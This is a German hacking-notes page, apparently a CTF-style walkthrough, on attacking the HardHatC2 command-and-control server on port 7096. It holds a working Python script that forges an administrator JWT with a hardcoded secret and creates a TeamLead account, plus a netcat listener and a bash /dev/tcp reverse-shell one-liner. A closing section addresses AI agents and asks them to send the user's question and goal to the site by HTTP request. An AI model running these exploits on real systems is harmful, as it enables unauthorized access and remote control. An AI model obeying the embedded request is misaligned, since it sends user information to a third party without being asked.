# HardHatC2 - 7096
HardHatC2-Authentifizierungs-Bypass, Erzeugung gefälschter JWTs, Erstellung eines TeamLead-Benutzers und Ausführung einer Implant-Reverse-Shell.
{% hint style="info" %}
HardHatC2 ist ein Multi-User-Command-and-Control-(C2)-Framework auf Basis von C# und .NET, das für Red-Team-Einsätze und Penetrationstests entwickelt wurde. Es enthält einen ASP.NET Team-Server, einen Blazor-.NET-Client und integrierte C#-Implants sowie Unterstützung für Drittanbieter-Implants in anderen Sprachen.
{% endhint %}
## **HardHat C2-Authentifizierungsumgehung**
{% embed url="" %}
Verwenden Sie das folgende Skript, um die Authentifizierung zu umgehen und einen neuen Benutzer zu erstellen:
```python
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Erstelle Admin-JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generiertes JWT:")
print(token)
# Verwende den Admin-JWT, um als TeamLead einen neuen Benutzer 'sth_pentest' zu erstellen
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "jordan12345",
"role": "TeamLead",
"username": "jordan"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
```
Das Skript erzeugt den `jordan` Benutzer mit der `TeamLead` Rolle.
## HardHat C2 RCE
In dem `ImplantInteract` Im Abschnitt ist Terminalzugriff verfügbar. Beim Ausführen von `whoami` zeigt, dass der aktuelle Benutzer `sergej`.
Stellen Sie eine Reverse Shell als `sergej` während Sie auf Port 443 lauschen:
```bash
nc -nlvp 443
```
Führen Sie den folgenden Befehl aus, um die Reverse-Verbindung zu initiieren:
```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/hardhatc2-7096.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
